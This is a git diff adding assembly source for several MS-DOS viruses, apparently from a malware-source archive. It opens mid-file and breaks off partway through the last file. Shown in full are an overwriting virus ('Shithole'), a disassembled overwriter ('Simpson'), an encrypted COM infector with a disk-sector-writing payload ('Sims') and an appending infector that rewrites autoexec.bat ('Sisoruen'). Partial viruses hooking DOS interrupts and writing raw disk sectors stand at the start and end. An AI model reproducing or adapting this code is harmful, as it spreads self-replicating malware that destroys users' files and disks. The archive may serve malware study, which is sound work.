cmp al,timeid + jnz notDOS +subtract: + sub word ptr [bx+29],heap-shiny + sbb word ptr [bx+31],0 +notDOS: + pop es + pop ds + pop bx + pop ax + + dec cs:in21flag + + cli + add sp,6 + iret + +int9: + pushf ; save flags, regs, etc... + push ax + push bx + push cx + push dx + + xor bx,bx + mov ah,0fh ; get video mode + int 10h + + mov ah,03h ; get curs pos + int 10h + + call getattrib + cmp al,')' ; happy?? + jne audi5000 ; no + + mov cs:eyesflag,0 +beforeloveshack: + call getattrib ; see if there is a nose +loveshack: + cmp al,':' ; shiny??? + je realeyes + + cmp al,'=' ; check for even =) + je realeyes + + cmp al,'|' + je realeyes + + cmp al,';' + je realeyes + + cmp cs:eyesflag,0 + jnz audi5001 + cmp al,'(' + jz audi5001 + inc cs:eyesflag + inc bl + jmp short beforeloveshack + +realeyes: + stc + adc dl,bl ; add extra backspace if so + + mov ah,02h + int 10h + + mov ax,0a28h ; 0ah, '(' ; write frown + mov cx,1 + int 10h + + jmp audi5000 +audi5001: + stc + adc dl,bl +audi5000: + inc dl ; set curs pos + mov ah,02h + int 10h + + pop dx ; restore all stuff + pop cx + pop bx + pop ax + popf + + db 0eah +oldint9 dd ? + +; reads the char at the current cursorpos - 1 + +getattrib: + dec dl ; set curs pos + mov ah,02h + int 10h + + mov ah,08h ; get char at curs + int 10h + + ret + +heap: +save1 db ? +tunnel21 dd ? +in21flag db ? +eyesflag db ? +readbuffer db 1ah dup (?) +endheap: +end shiny + diff --git a/MSDOS/Virus.MSDOS.Unknown.shithole.asm b/MSDOS/Virus.MSDOS.Unknown.shithole.asm new file mode 100644 index 00000000..d94bf97a --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.shithole.asm @@ -0,0 +1,98 @@ + Shithole Virus + +;This virus basically overwrites anything executed with its own code. Com +;files and exe files under 64k will function to spread the virus. Exe's +;above 64k that have been overwritten will display the message "Program too big +;to fit in Memory." + +;This small piece of code that seems to replicate itself to other files and +;as a result render them worthless is the exclusive property of Yosha/DC. + +.model tiny +.code +.486 +code_length equ offset finish - offset start +org 100h + +start: + +;Initially the stack contains a word-sized zero for com files. What luck! + + + pop es + +;0500 is where we'll move the code. We'll also use that as a residency check. +;We merely check the byte at 0000:0500 to see if it is a pop es. Dual - purpose + +;code is a good way to save space. + mov di,0500h + cmp byte ptr es:[di],07h ;is it a pop es? + + je outtahere ;if so, we're in memory. + +;Here we move our virus to 0000:0500h. You could probably get away with +;leaving out the cld, because it is usually cleared anyway. Taking it out would + +;make the virus less stable and prone to crashing, though. + +;0000:0500 is a hole in memory between the interrupt table and dos's load +;address. You can't go past 0000:0700 without crashing dos. You can probably +;go further back, though, and even overwrite the last parts of the interrupt +;table if you're daring. + + mov si,0100h + mov cx,code_length + cld ;<--this may not be necessary, but for stability's sake... + rep movsb + +;copy the old int 21 value to the end of our virus in memory. Note that after + +;a rep movsb, cx is 0. + mov ds,cx + mov si,0084h + movsw + movsw +;set new int 21. I decided to use dos for this job. + mov ax,2521h + mov dx,offset int21handler+0400h + int 21h +outtahere: + push es + ret + +;The handler jumps to here whenever a file tries to execute. + +kill_it: + pusha ;save all registers, 286+ only + + mov ax,3d01h ;open file, write access + int 21h + jc done_killing ;if error, exit + xchg ax,bx ;get handle in bx + + push ds ;save old ds (pusha doesn't save segment regs) + push cs + pop ds ;ds points to the segment containing our code + + mov ah,40h ;write to file + mov dx,0500h + mov cx,code_length + int 21h + +;I found that not closing the file causes a crash. + mov ah,3eh ;close the file + int 21h + + pop ds ;restore ds +done_killing: + popa ;restore all registers, 286+ only + jmp jump + +int21handler: + cmp ah,4bh + je kill_it +jump: + db 0eah ;byte signifying a far jump. +old21: +finish: + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.simpson.asm b/MSDOS/Virus.MSDOS.Unknown.simpson.asm new file mode 100644 index 00000000..6ea29efb --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.simpson.asm @@ -0,0 +1,381 @@ + +PAGE 59,132 + +;栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 +;栩 栩 +;栩 SIMPSON 栩 +;栩 栩 +;栩 Created: 4-Dec-92 栩 +;栩 Passes: 5 Analysis Options on: none 栩 +;栩 栩 +;栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 + +data_1e equ 2Eh +data_10e equ 39Ah ;* +data_11e equ 39Ch ;* +data_12e equ 39Eh ;* +data_13e equ 3A0h ;* +data_14e equ 5845h ;* + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +simpson proc far + +start: + push si + xor si,si ; Zero register +loc_1: + call sub_2 + or ax,ax ; Zero ? + jz loc_2 ; Jump if zero + call sub_1 + inc si + inc data_8 + jmp short loc_3 +loc_2: + mov dx,38Bh + mov ah,3Bh ; ';' + int 21h ; DOS Services ah=function 3Bh + ; set current dir, path @ ds:dx + inc si +loc_3: + cmp si,data_6 + jl loc_1 ; Jump if < + cmp byte ptr data_8,0 + je loc_4 ; Jump if equal + mov ax,2BAh + push ax + call sub_5 + pop cx + jmp short loc_8 +loc_4: + cmp byte ptr data_7,6 + jbe loc_7 ; Jump if below or = + xor si,si ; Zero register + jmp short loc_6 +loc_5: + mov bx,si + shl bx,1 ; Shift w/zeros fill + push data_2[bx] + call sub_5 + pop cx + inc si +loc_6: + cmp si,3 + jl loc_5 ; Jump if < + jmp short loc_8 +loc_7: + mov ax,2BAh + push ax + call sub_5 + pop cx +loc_8: + jmp short $+2 ; delay for I/O + pop si + retn + +simpson endp + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_1 proc near + mov dx,data_3 + add dx,1Eh + xor cx,cx ; Zero register + mov al,1 + mov ah,43h ; 'C' + int 21h ; DOS Services ah=function 43h + ; set attrb cx, filename @ds:dx + mov ax,data_3 + add ax,1Eh + push ax + call sub_8 + pop cx + mov bx,ds:data_10e + mov cx,data_5 + mov dx,data_4 + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + call sub_4 + call sub_9 + jmp short $+2 ; delay for I/O + retn +sub_1 endp + + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_2 proc near + mov ax,38Eh + push ax + call sub_6 + pop cx + cmp ax,12h + je loc_12 ; Jump if equal + call sub_3 + or ax,ax ; Zero ? + jz loc_9 ; Jump if zero + mov ax,1 + jmp short loc_ret_17 + jmp short loc_12 +loc_9: + jmp short loc_11 +loc_10: + call sub_3 + or ax,ax ; Zero ? + jz loc_11 ; Jump if zero + mov ax,1 + jmp short loc_ret_17 +loc_11: + call sub_7 + cmp ax,12h + jne loc_10 ; Jump if not equal +loc_12: + mov ax,394h + push ax + call sub_6 + pop cx + cmp ax,12h + je loc_16 ; Jump if equal + call sub_3 + or ax,ax ; Zero ? + jz loc_13 ; Jump if zero + mov ax,1 + jmp short loc_ret_17 + jmp short loc_16 +loc_13: + jmp short loc_15 +loc_14: + call sub_3 + or ax,ax ; Zero ? + jz loc_15 ; Jump if zero + mov ax,1 + jmp short loc_ret_17 +loc_15: + call sub_7 + cmp ax,12h + jne loc_14 ; Jump if not equal +loc_16: + xor ax,ax ; Zero register + jmp short loc_ret_17 + +loc_ret_17: + retn +sub_2 endp + + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_3 proc near + push si + mov bx,data_3 + mov ax,[bx+18h] + mov ds:data_11e,ax + mov bx,data_3 + mov ax,[bx+16h] + mov ds:data_12e,ax + mov ax,data_3 + add ax,1Eh + push ax + call sub_8 + pop cx + mov bx,ds:data_10e + mov cx,14h + mov dx,data_13e + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + call sub_4 + call sub_9 + xor si,si ; Zero register + jmp short loc_20 +loc_18: + mov al,ds:data_13e[si] + mov bx,data_4 + cmp al,[bx+si] + je loc_19 ; Jump if equal + mov ax,1 + jmp short loc_21 +loc_19: + inc si +loc_20: + cmp si,14h + jl loc_18 ; Jump if < + inc data_7 + xor ax,ax ; Zero register + jmp short loc_21 +loc_21: + pop si + retn +sub_3 endp + + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_4 proc near + mov al,1 + mov bx,ds:data_10e + mov cx,ds:data_12e + mov dx,ds:data_11e + mov ah,57h ; 'W' + int 21h ; DOS Services ah=function 57h + ; set file date+time, bx=handle + ; cx=time, dx=time + jmp short $+2 ; delay for I/O + retn +sub_4 endp + + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_5 proc near + push bp + mov bp,sp + push si + mov si,[bp+4] + jmp short loc_24 +loc_23: + sub byte ptr [si],0Ah + inc si +loc_24: + cmp byte ptr [si],0 + jne loc_23 ; Jump if not equal + mov dx,[bp+4] + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + jmp short $+2 ; delay for I/O + pop si + pop bp + retn +sub_5 endp + + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_6 proc near + push bp + mov bp,sp + mov dx,[bp+4] + mov cx,0FFh + mov ah,4Eh ; 'N' + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jmp short $+2 ; delay for I/O + pop bp + retn +sub_6 endp + + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_7 proc near + mov ah,4Fh ; 'O' + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + jmp short $+2 ; delay for I/O + retn +sub_7 endp + + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_8 proc near + push bp + mov bp,sp + mov dx,[bp+4] + mov al,2 + mov ah,3Dh ; '=' + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + mov ds:data_10e,ax + jmp short $+2 ; delay for I/O + pop bp + retn +sub_8 endp + + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_9 proc near + mov bx,ds:data_10e + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + jmp short $+2 ; delay for I/O + retn +sub_9 endp + + pop ss + adc al,5Ah ; 'Z' + jl $+7Bh ; Jump if < + jno $+7Eh ; Jump if not overflw + db 'kw*~yy*lsq*~y*ps~*sx*wowy|' + db 83h, 2Eh, 00h +data_2 dw 2F1h ; Data table (indexed access) + db 2Ah, 03h, 63h, 03h +data_3 dw 80h + db 58h, 58h, 00h +data_4 dw 100h +data_5 dw 29Ah +data_6 dw 4 +data_7 db 0 +data_8 db 0 + db 17h, 14h, 13h + db 'XOa]*PVK]R++**cy' + db 7Fh, 7Ch, 2Ah, 7Dh, 83h + db '}~ow*rk}*loox*sxpom~on*' + db 81h + db 's~r*~ro.' + db 00h, 17h, 14h, 13h, 73h, 78h + db 6Dh, 7Fh + db '|klvo*nomk' + db 83h, 2Ah, 79h, 70h, 2Ah, 56h + db 'OZ\Y]c*;8::6*k*' + db 80h, 73h, 7Ch, 7Fh, 7Dh, 2Ah + db 73h, 78h, 80h, 6Fh, 78h, 7Eh + db 6Fh, 6Eh, 2Ah, 6Ch, 83h, 2Eh + db 00h, 17h, 14h, 13h + db 'ZMW<*sx*T' + db 7Fh + db 'xo*yp*;CC:8**Qyyn*v' + db 7Fh, 6Dh, 75h, 2Bh, 17h, 14h + db 2Eh + db 0 +data_9 db 2Eh + db 2Eh + db 00h, 2Ah, 2Eh, 45h + db 58h, 45h, 00h + db 2Ah, 2Eh, 43h, 4Fh, 4Dh + db 0 + +seg_a ends + + + + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.sims.asm b/MSDOS/Virus.MSDOS.Unknown.sims.asm new file mode 100644 index 00000000..b0d7581a --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.sims.asm @@ -0,0 +1,225 @@ +;憶維洌渦 +;憶維 洌渦 +;憶維 METRiC BUTTLOAD of CODE GENERATOR 洌渦 +;憶維 Copyright(c) 1994 - MBC - Ver. 0.91b 洌渦 +;憶維 洌渦 +;憶維洌渦 + +.MODEL TINY +.CODE + ORG 100H +ENTRY_POINT: DB 0E9H,0,0 + +DECRYPT: + MOV BP,(OFFSET HEAP - OFFSET STARTENCRYPT)/2 +PATCH_STARTENCRYPT: + MOV bp,OFFSET STARTENCRYPT +DECRYPT_LOOP: + DB 81h,46h,0 ; ADD WORD PTR [bp], xxxx +DECRYPT_VALUE DW 0 + inc bp + inc bp + DEC BP + JNZ DECRYPT_LOOP +STARTENCRYPT: + CALL NEXT +NEXT: POP BP + SUB BP,OFFSET NEXT + + LEA SI,[BP+SAVE3] + MOV DI,100H + PUSH DI + MOVSW + MOVSB + + MOV BYTE PTR [BP+NUMINFEC],17 + + MOV AH,1AH + LEA DX,[BP+NEWDTA] + INT 21H + + LEA DX,[BP+COM_MASK] + MOV AH,4EH + MOV CX,7 +FINDFIRSTNEXT: + INT 21H + JC DONE_INFECTIONS + + MOV AL,0H + CALL OPEN + + MOV AH,3FH + LEA DX,[BP+BUFFER] + MOV CX,1AH + INT 21H + + MOV AH,3EH + INT 21H + +CHECKCOM: + MOV AX,WORD PTR [BP+NEWDTA+35] + CMP AX,'DN' + JZ FIND_NEXT + + MOV AX,WORD PTR [BP+NEWDTA+1AH] + CMP AX,1430 + JB FIND_NEXT + + CMP AX,65535-(ENDHEAP-DECRYPT) + JA FIND_NEXT + + MOV BX,WORD PTR [BP+BUFFER+1] + ADD BX,HEAP-DECRYPT+3 + CMP AX,BX + JE FIND_NEXT + JMP INFECT_COM +FIND_NEXT: + MOV AH,4FH + JMP SHORT FINDFIRSTNEXT + +DONE_INFECTIONS: + JMP ACTIVATE +EXIT_VIRUS: + MOV AH,1AH + MOV DX,80H + INT 21H + RETN +SAVE3 DB 0CDH,20H,0 + +ACTIVATE: +;憶維洌渦 +;憶維 LITTLE FRISKIES SMOKE 'EM ROUTINE! 洌渦 +;憶維洌渦 +; + PROC BLISTER_LIPS + PUSH DX + MOV AL,DL + MOV CX,255 + XOR DX,DX + INT 26H + ADD SP,2 + POP DX + ENDP BLISTER_LIPS + + JMP EXIT_VIRUS + +INFECT_COM: + MOV CX,3 + SUB AX,CX + LEA SI,[BP+OFFSET BUFFER] + LEA DI,[BP+OFFSET SAVE3] + MOVSW + MOVSB + MOV BYTE PTR [SI-3],0E9H + MOV WORD PTR [SI-2],AX + ADD AX,103H + PUSH AX +FINISHINFECTION: + PUSH CX + XOR CX,CX + CALL ATTRIBUTES + + MOV AL,2 + CALL OPEN + + MOV AH,40H + LEA DX,[BP+BUFFER] + POP CX + INT 21H + + MOV AX,4202H + XOR CX,CX + CWD ; XOR DX,DX + INT 21H + + MOV AH,2CH + INT 21H + MOV [BP+DECRYPT_VALUE],DX + LEA DI,[BP+CODE_STORE] + MOV AX,5355H + STOSW + LEA SI,[BP+DECRYPT] + MOV CX,STARTENCRYPT-DECRYPT + PUSH SI + PUSH CX + REP MOVSB + + XOR BYTE PTR [BP+DECRYPT_LOOP+1],028h ; flip between add/sub + + LEA SI,[BP+WRITE] + MOV CX,ENDWRITE-WRITE + REP MOVSB + POP CX + POP SI + POP DX + PUSH DI + PUSH SI + PUSH CX + REP MOVSB + MOV AX,5B5DH + STOSW + MOV AL,0C3H + STOSB + + ADD DX,OFFSET STARTENCRYPT - OFFSET DECRYPT + MOV WORD PTR [BP+PATCH_STARTENCRYPT+1],DX + CALL CODE_STORE + POP CX + POP DI + POP SI + REP MOVSB + + MOV AX,5701H + MOV CX,WORD PTR [BP+NEWDTA+16H] + MOV DX,WORD PTR [BP+NEWDTA+18H] + INT 21H + + MOV AH,3EH + INT 21H + + MOV CH,0 + MOV CL,BYTE PTR [BP+NEWDTA+15h] + CALL ATTRIBUTES + + DEC BYTE PTR [BP+NUMINFEC] + JNZ MO_INFECTIONS + JMP DONE_INFECTIONS +MO_INFECTIONS: JMP FIND_NEXT + +OPEN: + MOV AH,3DH + LEA DX,[BP+NEWDTA+30] + INT 21H + XCHG AX,BX + RET + +ATTRIBUTES: + MOV AX,4301H + LEA DX,[BP+NEWDTA+30] + INT 21H + RET + +WRITE: + POP BX + POP BP + MOV AH,40H + LEA DX,[BP+DECRYPT] + MOV CX,HEAP-DECRYPT + INT 21H + PUSH BX + PUSH BP +ENDWRITE: + +COM_MASK DB '*.?OM',0 +MACHINE DB '-=MBC=-',0 +VIRUSNAME DB 'SIMS VIRUS-1',0 +USER DB 'White Shark',0 + +HEAP: + +CODE_STORE: DB (STARTENCRYPT-DECRYPT)*2+(ENDWRITE-WRITE)+1 DUP (?) +NEWDTA DB 43 DUP (?) +NUMINFEC DB ? +BUFFER DB 1AH DUP (?) +ENDHEAP: +END ENTRY_POINT diff --git a/MSDOS/Virus.MSDOS.Unknown.sisoruen.asm b/MSDOS/Virus.MSDOS.Unknown.sisoruen.asm new file mode 100644 index 00000000..ca6bfadc --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.sisoruen.asm @@ -0,0 +1,281 @@ +; ------------------------------------------------------------------------- ; +; Sisoruen v1.8 coded by KilJaeden of the Codebreakers 1998 ; +; ------------------------------------------------------------------------- ; +; Description: `--------------------------------------| Size : 484 bytes ; +; | Type : COM Appender ; +; v1.0 - start with a simple *.com appender | Rate : All to Root ; +; v1.1 - lets do some XOR,NEG,NOT,ROR encryption! | DT : DotDot Style ; +; v1.2 - infect even read only files, restore stamps | Pload: autoexec.bat ; +; v1.3 - add anti-heuristic loop (credits to SPo0ky!) | Encrp: 4 times - ; +; v1.4 - don't infect files too small, or too big | XOR,NEG,NOT,ROR ; +; v1.5 - lets give it a payload, activate sat/sun `-------------------- ; +; v1.6 - optimized a WHOLE lot, and fixed an error that was bugging the ; +; - crap out of me -> Thanks to SPo0ky for pointing out that my 'safe' ; +; - place to store the DTA was getting destroyed by the encryption :) ; +; v1.7 - lets get some directory transversal going, dot dot style ; +; v1.8 - new payload this time, after it has infected all the .com's it can ; +; - get it's hands on, it jumps to c:\ and replaces the first line of ; +; - the "autoexec.bat" file, changing the normal dos prompt (c:\) to ; +; - c:\::Sisoruen::> !warning! -> it replaces the first line, so be ; +; - carefull, some people have important info on that first line hehe ; +; - Oh and it also makes the autoexec.bat read-only and hidden! :) ; +; - Hey, some people don't know how to un-readonly / un-hide a file... ; +; - Slows them down a little hehe ; +; ------------------------------------------------------------------------- ; +; --> This One's For :Mind Warp: Keep Up The Great Work, You Learn Fast! <--; +; ------------------------------------------------------------------------- ; +; to compile ::] tasm sisoruen.asm ; +; to link :::::] tlink /t sisoruen.asm ; +; ------------------------------------------------------------------------- ; + +code segment ; name our segment code + assume cs:code,ds:code ; assign cs and ds to code + org 100h ; 100hex .com file + +start: + db 0e9h,0,0 ; define a blank jump to next line + +real_start: + mov cx,0ffffh ; from other anti-heuristics + +anti_one: + jmp anti_two ; jump to anti two + mov ax,4c00h ; terminate program + int 21h ; terminate the program + +anti_two: + loop anti_one ; loop anti_one + call get_delta ; push IP on to stack + +get_delta: + pop bp ; pop it into bp + sub bp,offset get_delta ; get the delta offset + +encrypt: + jmp not_on_first ; don't encrypt 1st run (overwritten) + lea si,[bp+encrypted] ; SI points to encrypted area start + mov di,si ; moves SI into DI + call encryption ; calls the encryption routine + jmp encrypted ; jump to start of encrypted area + +encryption: + lodsb ; load a byte + not al ; encryptin 1 + ror al,4 ; encryptin 2 + neg al ; encryptin 3 + xor al,byte ptr [bp+decrypt] ; encryptin 4 -final- + neg al ; unencrypt 3 + ror al,4 ; unencrypt 2 + not al ; unencrypt 1 + stosb ; store the byte + loop encryption ; do it for all bytes + ret ; return from the call + + decrypt db 0 ; our key value + +encrypted: + lea si,[bp+thrbyte] ; where to put this + mov di,100h ; the starting location + push di ; 1 - push 100h until end + movsb ; move a byte + movsw ; and move a word + lea dx,[bp+offset dta] ; where we want to move the dta + mov ah,1ah ; move the dta + int 21h ; make it so DOS! + +find_next: + mov ah,4eh ; find the first file with + lea dx,[bp+comfile] ; a *.com ending + mov cx,7 ; find even if +srh + +infect_next: + int 21h ; make it so DOS! + jnc infect_file ; found one? infect it! + mov ah,3bh ; change directory + lea dx,[bp+dotdot] ; load up ".." + int 21h ; and change dir now + jnc find_next ; start infecting again + +try_pay: + mov ah,2ah ; get system time + int 21h ; get the time now + cmp al,006h ; is it saturday? + je payload ; it is! I love the weekends + cmp al,00h ; is it sunday? + je payload ; it is! I love payloading weekends + +end_virus: + mov dx,80h ; restore the dta + mov ah,1ah ; restore it now + int 21h ; make it so DOS! + retn ; 1 - return control to host + +payload: + mov ah,0eh ; change drive + mov dl,2 ; to drive c:\ + int 21h ; change it now! + + mov ah,3bh ; change directory + lea dx,[bp+rootdir] ; load up "\" + int 21h ; and change dir now + + mov ah,4eh ; find the first file + lea dx,[bp+autoexe] ; looking for "autoexec.bat" :) + mov cx,3 ; find it even if +rh + int 21h ; find the autoexec.bat! + jc end_virus ; none? end the virus + + lea dx,[bp+offset dta+1eh] ; get the file info + push dx ; 7 - save that info for later + mov ax,4301h ; set file attributes + xor cx,cx ; to absolutely none + int 21h ; make it so DOS! + + mov ax,3d02h ; open the autoexec.bat + int 21h ; open it / get info + xchg bx,ax ; exchange the info + + call point_to_start ; point to start of file + + mov ah,40h ; write to the autoexec.bat + lea dx,[bp+newprmt] ; write this + mov cx,cpend-cpstart ; this much + int 21h ; write it! + + pop dx ; 7 - get the file info + mov ax,4301h ; set file attributes + mov cx,3 ; make it read only / hidden hehe + int 21h ; infect even read only now! + + mov ah,3eh ; close the autoexec.bat + int 21h ; close it now bitch! + jmp end_virus ; jump to ending the virus + +infect_file: + lea dx,[bp+offset dta+1eh] ; get the file info + push dx ; 2 - save it again for in a minute + mov ax,4301h ; set file attributes + xor cx,cx ; to absolutely none + int 21h ; infect even read only now! + + mov ax,3d02h ; open the file read/write + pop dx ; 2 - use that info again! + int 21h ; make it so DOS! + xchg bx,ax ; move the file info + + mov ax,5700h ; get the time / date + int 21h ; make it so DOS! + push dx ; 3 - save the value + push cx ; 4 - save this value too + + mov ah,3fh ; read / record function + lea dx,[bp+thrbyte] ; where to write to + mov cx,3 ; how much to write + int 21h ; make it so DOS! + + mov ax,word ptr [bp+dta+1ah] ; get the file size into ax + mov cx,word ptr [bp+thrbyte+1] ; get those recorded bytes + add cx,finished-real_start+3 ; get virus + jump size + cmp ax,cx ; compare the two + jz close_file ; if equal close up + cmp ax,61440 ; > then 61440 bytes? + ja close_file ; too big, close it + cmp ax,1000 ; < then 1000 bytes? + jb close_file ; too big, close it + + sub ax,3 ; get the jump size + mov word ptr [bp+newjump+1],ax ; and write the jump + + call point_to_start ; point to start of file + + mov ah,40h ; write to file + mov cx,3 ; how much info? three bytes + lea dx,[bp+newjump] ; where the info starts + int 21h ; make it so DOS! + + mov ax,4202h ; point to end of file + xor cx,cx ; cx to 0 + cwd ; likewize for DX + int 21h ; make it so DOS + + in al,40h ; get random value from clock + mov byte ptr [bp+decrypt],al ; save that value as our key + + mov ah,40h ; write to file + lea dx,[bp+real_start] ; this is where we start + mov cx,encrypted-real_start ; write this much + int 21h ; write those bytes man! + + lea di,[bp+finished] ; DI points to encrypted area end + push di ; 5 - save value for later + lea si,[bp+encrypted] ; SI points to encrypted area star + mov cx,finished-encrypted ; total # of bytes to encrypt + push cx ; 6 - save that for next routine + call encryption ; encrypt them now + + mov ah,40h ; write to file + pop cx ; 6 - mov cx,finished-encrypted + pop dx ; 5 - lea dx,[bp+finished] + int 21h ; make it so DOS! + +close_file: + mov ax,5701h ; restore time / date + pop cx ; 4 - restore from this value + pop dx ; 3 - restore from this one too + int 21h ; go for it! + + mov ah,3eh ; close up the file + int 21h ; make it so DOS! + + mov ah,4fh ; find next file + jmp infect_next ; and do it again + +; ------------------------> Remote Calling Procedures <-------------------- ; +; ------------------------------------------------------------------------- ; + +point_to_start: + mov ax,4200h ; point to start of file + xor cx,cx ; cx to 0 + cwd ; likewize for DX + int 21h ; and point to the start + ret ; return from call + +; -------------------------------> Data Area <----------------------------- ; +; ------------------------------------------------------------------------- ; + + cpstart: + newprmt db 'prompt $p$f::Sisoruen::$g',0 + db '',10,13,'$' + cpend: + + dotdot db "..",0 ; define the .. string + rootdir db "\",0 ; define the \ string + autoexe db "autoexec.b*",0 ; look for autoexec.bat + comfile db "*.c*",0 ; define *.com string + thrbyte db 0cdh,20h,0 ; terminates on first run + newjump db 0e9h,0,0 ; a blank jump at first + dta db 42 dup (?) ; set up space for dta + finished label near ; an offset label + +; ----------> Temporary Storage Area (Not Saved / Not Encrypted) <--------- ; +; ------------------------------------------------------------------------- ; + +not_on_first: + lea di,[bp+encrypt] ; load DI with start address + lea si,[bp+newbytes] ; load SI with the new bytes + movsw ; move 2 bytes + movsb ; move 1 byte + jmp encrypted ; jump to start of encrypted area + +newbytes: + mov cx,finished-encrypted ; overwrite the jmp with this line + +; ---------------------------> It's All Over <----------------------------- ; +; ------------------------------------------------------------------------- ; + + code ends ; end code segment + end start ; end / where to start + +; ------------------------------------------------------------------------- ; +; ----------> How Can You Think Freely In The Shadow Of A Church <--------- ; +; ------------------------------------------------------------------------- ; diff --git a/MSDOS/Virus.MSDOS.Unknown.sk.asm b/MSDOS/Virus.MSDOS.Unknown.sk.asm new file mode 100644 index 00000000..ea065a55 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.sk.asm @@ -0,0 +1,428 @@ +start: jmp short begin + db (00h) + db (53h) + db (4bh) + int 20h +okey: db (0b8h) + db (03h) + db (00h) + db (0cdh) + db (10h) +begin: push cx + CALL F1 +F1: POP SI + SUB SI,09 + mov ax,0 + mov ds,ax + mov word ptr [312h],si + push cs + pop ds + push cs + pop es + cld + mov di,100h + mov cx,5 + rep movsb + jmp ding2 +int20h: mov ah,00h + jmp mm +int21h: STI + cmp ah,00h + jz mm + cmp ah,4ch + jz mm + cmp ah,0ffh + jz mm + jmp int1hh +mm: pushf + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH DS + PUSH ES + PUSH SI + PUSH DI + mov ax,0 + mov ds,ax + cmp byte ptr [302h],0 + jz mm2 + mov byte ptr [302h],0 + jmp main +mm2: mov ah,19h + int 21h + mov dl,al + cmp dl,01 + jna mmm5 + add dl,7Eh + mov ax,0 + mov ds,ax +mmm5: mov byte ptr [309h],dl + mov byte ptr ch,[308h] + mov byte ptr dl,[309h] + mov cl,01 + push cs + pop ds + mov ax,0201h + mov dh,00h + mov bx,offset end+7 + push cs + pop es + int 13h + mov ax,0 + mov ds,ax + mov byte ptr ch,[308h] + mov byte ptr dl,[309h] + mov cl,01 + push cs + pop ds + mov ax,0301h + mov dh,00h + mov bx,offset end+7 + push cs + pop es + int 13h + jnc etk6 + cmp ah,3 + jnz etk6 + jmp main +etk6: mov ax,0 + mov ds,ax + mov byte ptr [306h],1 + push cs + pop ds + mov ah,2ah + int 21h + cmp dl,21 + jnz okef + mov ax,0309h + mov dx,0000h + mov cx,0001h + lea bx,[100h] + int 13h + jmp short okep +okef: mov ax,0 + mov ds,ax + inc word ptr [310h] + cmp Word ptr [310h],02FFh + jnz et3 +okep: push cs + pop ds + mov ah,9 + mov dx,offset name + int 21h + cli + hlt +dinge: jmp ding +et3: push cs ;ds <- cs + pop ds + mov ah,2fh 